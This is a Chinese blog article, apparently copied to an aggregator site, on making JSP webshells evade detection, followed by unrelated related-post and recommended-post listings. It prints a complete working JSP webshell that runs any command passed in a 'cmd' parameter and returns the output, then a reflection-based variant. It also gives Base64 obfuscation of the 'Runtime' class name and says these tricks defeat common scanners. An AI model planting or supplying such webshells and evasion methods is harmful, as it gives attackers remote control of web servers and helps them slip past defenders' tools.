从攻防对抗辩证性分析jsp免杀

从最早的最朴素木马

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<html>
<body>
<h2>Hello Aur0ra!</h2>
</body>
</html> <%
//获取cmd参数
String cmd = request.getParameter("cmd"); //执行命令
Process process = Runtime.getRuntime().exec(cmd); //回显
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>

上面是一个最简单的木马,最初的时候采用的防御姿态就是直接禁止执行了Runtime,这算是第一次防御

Runtime被过滤后,geeker们又会想有没有什么方法可以替代Runtime呢?

于是就直接跟踪Runtime的底层实现,发现是借调了ProcessBuilder的方法,那我们就可以直接采用ProcessBuilder的方法执行

这样也是可以成功执行的,而后又禁止了ProcessBuilder。而后,Geekers又找了Process等来替代,作为防御方,自然得跟进禁止。

最终那几个常用的命令执行类都被ban了。但Geekers怎么甘心,既然你不让我实例化,那我就直接开始反射大法。(这样算是第二次的攻防了)

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@page language="java" pageEncoding="utf-8" %>
<html>
<body>
<h2>Hello Aur0ra!</h2>
</body>
</html> <%
//获取cmd参数
String cmd = request.getParameter("cmd"); Class<?> clazz = Class.forName("java.lang.Runtime");
Method getRuntime = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime)getRuntime.invoke(null); Method exec = clazz.getMethod("exec", String.class);
Process process = (Process) exec.invoke(runtime, cmd); //回显
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>

反射就代表了类对象可以被字符串控制,为了避免关键字,上述字符串又可以进行编码的等奇奇怪怪的处理,从而绕过防御

例如将Runtime关键字进行编解码操作,降低查杀率

Class<?> clazz = Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=".getBytes(StandardCharsets.UTF_8))));



用常见的几种shell查杀工具,最多对index.jsp能够查出来Runtime类,把Runtime替换成ProcessBuilder就已经无法查杀了,更不用说利用反射生成的backdoor

动态编译加载

由于字符串的可变性,可以提高免杀,我们可以先将字符串写到一个临时java或者jsp中,当服务器端为热加载时,就可以成功getshell

[Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)的更多相关文章

  1. 2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践

    2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践 --------CONTENTS-------- 1. 免杀原理与实践说明 实验说明 基础问题回答 2. 使用msf ...

  2. 2018-2019-2 网络对抗技术 20165324 Exp3:免杀原理与实践

    2018-2019-2 网络对抗技术 20165324 Exp3:免杀原理与实践 免杀原理及基础问题回答 免杀 1. 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  3. 2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践

    #2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实 ...

  4. 2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践

    2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践 一 免杀原理与实践说明 (一).实验说明 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件, ...

  5. 2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践

    2018-2019-2 20165209 <网络对抗技术>Exp3:免杀原理与实践 1 免杀原理与实验内容 1.1 免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中 ...

  6. 网络对抗技术 2017-2018-2 20152515 Exp3 免杀原理与实践

    基础问题回答 (1)杀软是如何检测出恶意代码的? 答:分析恶意程序的行为特征,分析其代码流将其性质归类于恶意代码. (2)免杀是做什么? 答:一般是对恶意软件做处理,让它不被杀毒软件所检测,也是渗透测 ...

  7. 2017-2018-2 『网络对抗技术』Exp3:免杀原理与实践

    1. 免杀原理与实践说明 一.实验说明 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) ...

  8. 分析一个免杀webshell发现的php特性

    文章首发于t00ls,嫌文章太啰嗦的可以直接看结论 起源 之前看到别人分享的一个免杀webshell: <?php @$GLOBALS{next} = $GLOBALS[$GLOBALS[fun ...

  9. 20155229《网络对抗技术》Exp3:免杀原理与实践

    实验预习 免杀: 看为一种能使病毒木马避免被杀毒软件查杀的技术. 免杀的分类: 开源免杀:指在有病毒.木马源代码的前提下,通过修改源代码进行免杀.. 手工免杀:指在仅有病毒.木马的可执行文件(.exe ...

随机推荐

  1. 前端文本框插件KindEditor

    KindEditor   1.进入官网 2.下载 官网下载:http://kindeditor.net/down.php 本地下载:http://files.cnblogs.com/files/wup ...

  2. MySQLs数据库建外键时自动跑到缩影处,真奇怪

    MySQLs数据库建外键时自动跑到缩影处,真奇怪MyISAM引擎不支持外键:InnoDB存储引擎支持外键.如何解决的,把表修改成innodb类型吧用的工具是SQLyog Ultimate如图所示:

  3. mobx在react的使用

    ​ 创建项目第六步 mobx 1.安装 yarn add mobx yarn add mobx-react 2.新建/src/store/store.js import {observable, co ...

  4. 解决Centos7误删Python问题

    1.前言 昨天安装Python3.6的时候.不小心把原来的Python全删了.不知道咋办了.后面参考一篇博客.重新安装了一下.相关的包全回来了.所以还是得注意root模式下.慎用rm -rf命令.(笑 ...

  5. 【LeetCode】 204. Count Primes 解题报告(Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 素数筛法 参考资料 日期 [LeetCode] 题目 ...

  6. RMQ(ST(Sparse Table))(转载)

    1. 概述 RMQ(Range Minimum/Maximum Query),即区间最值查询,是指这样一个问题:对于长度为n的数列A,回答若干询问RMQ(A,i,j)(i,j<=n),返回数列A ...

  7. Anti-prime Sequences

    Anti-prime Sequences Time Limit: 3000MS   Memory Limit: 30000K Total Submissions: 3355   Accepted: 1 ...

  8. 一站式元数据治理平台——Datahub入门宝典

    随着数字化转型的工作推进,数据治理的工作已经被越来越多的公司提上了日程.作为新一代的元数据管理平台,Datahub在近一年的时间里发展迅猛,大有取代老牌元数据管理工具Atlas之势.国内Datahub ...

  9. sping练习,在Eclipse搭建的Spring开发环境中,使用工厂方式创建Bean对象,将创建的Bean对象输出到控制台。

    相关 知识 >>> 相关 练习 >>> 实现要求: 在Eclipse搭建的Spring开发环境中,使用工厂方式创建Bean对象,将创建的Bean对象输出到控制台.要 ...

  10. 在Java中为什么不同的返回类型不算方法重载?

    本文已收录<Java常见面试题>:https://gitee.com/mydb/interview 方法重载是指在同一个类中,定义了多个同名方法,但每个方法的参数类型或者是参数个数不同就是 ...